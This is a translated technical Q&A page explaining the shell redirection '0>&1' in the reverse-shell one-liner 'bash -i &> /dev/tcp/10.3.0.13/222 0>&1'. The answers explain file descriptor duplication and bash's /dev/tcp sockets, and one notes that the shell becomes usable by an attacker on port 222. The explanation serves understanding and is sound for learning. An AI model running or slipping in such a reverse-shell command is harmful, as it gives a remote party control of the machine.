0>&1 shell 重定向是什麼意思?

0>&1 shell 重定向是什麼意思?

嘗試理解該命令:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

這意味著「bash -i」的STDIN將獲得STDOUT內容?

答案1

&> file本身與 相同> file 2>&1,即在文件描述符 1 上以只寫模式打開file,並將該文件描述符 1 複製到文件描述符 2,以便 fd 1 和 2(stdout 和 stderr)都指向該文件描述符開啟文件描述

0>&10<&1(與或相同<&1)將 0 (stdin) 加入清單。它還將 fd 1 複製到 0(使 fd 0 指向與 fd 1 指向的相同資源)。

現在,執行> /dev/tcp/host/portin時bash(例如該功能的來源 ksh),不是執行 a open(file, O_WRONLY),而是bash建立 TCP 套接字並將其連接到host:port。那不是一個只寫重定向,這是一個讀+寫網路套接字。

所以最後得到的 fds 0、1 和 2 都是bash -iTCP 套接字。當bash -i讀取其 stdin 時,它會從套接字讀取,因此從位於另一端的任何內容讀取,host:post並且當它(或從那裡運行的任何命令)寫入fd 1 或2 時,它會通過該套接字發送。

答案2

讓我們一步一步來。

  1. bash -i:開啟互動式 shell
  2. &>:將標準輸出和錯誤重定向到開啟到 IP 10.3.0.13 的套接字,該套接字將在連接埠 222 上偵聽
  3. 0>&1:我喜歡將其讀作 0<&1。這實際上意味著“0”附加到“1”,這意味著標準輸入附加到標準輸出,並且從要點 2 中我們知道該 bash 進程的標準輸入可供在連接埠 222 上偵聽的攻擊者使用。

答案3

簡而言之,該命令開啟一個互動式 bash shell,該 shell 透過 tcp 套接字從 ip 指定的主機讀取輸入並將其輸出和錯誤傳遞到該主機。

詳細資訊:(!!!由於我不是專家,某些描述可能不準確或不精確。)

&> /dev/tcp/10.3.0.13/222有兩個部分。第一的:

/dev/tcp/10.3.0.13/222

Bash 在重定向中使用時會專門處理多個檔名,例如 /dev/tcp/host/port

如果 host 是有效的主機名稱或 Internet 位址,且 port 是整數連接埠號碼或服務名稱,Bash 會嘗試開啟對應的 TCP 套接字。

第二:

重定向&>運算符,用於將標準輸出和標準錯誤定向到相同檔案。

因此,&> /dev/tcp/10.3.0.13/222意味著打開相應的 TCP 套接字並將標準輸出和標準錯誤重定向到套接字。

重定向實際上分配一個新的檔案描述符,該檔案描述符引用與舊描述符相同的開啟檔案描述。

開啟檔案描述是系統範圍的開啟檔案表中的一個條目。開啟檔案描述記錄了檔案偏移量和檔案狀態標誌。文件描述符是對開啟文件描述的引用;如果隨後刪除或修改路徑名以引用不同的文件,則此引用不受影響。

因此,實際上站輸出誤差(它們實際上是檔案描述符)和套接字的檔案描述符現在指的是同一個開啟文件描述。這意味著只要 bash 有輸出或錯誤,這些資料就會寫入套接字並傳送到上面指定的目標主機。

0>&1

重定向站立輸入站輸出。使用上面的想法,它的字面意思是站立輸入指的是同一個開啟文件描述這是由站輸出;這與也被引用的相同誤差套接字的檔案描述符。這意味著每當執行此命令的主機通過TCP套接字,bash 將其讀取為輸入。

如果不了解重定向的實際含義,則很難理解重定向的含義。站立輸入站輸出。這並不意味著閱讀站輸出作為站立輸入,因為它沒有意義。它實際上意味著站立輸入站輸出指的是同一個開啟文件描述。因此該命令讀取輸入並將其輸出傳遞到同一個文件,就像這裡的套接字一樣。

參考:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

相關內容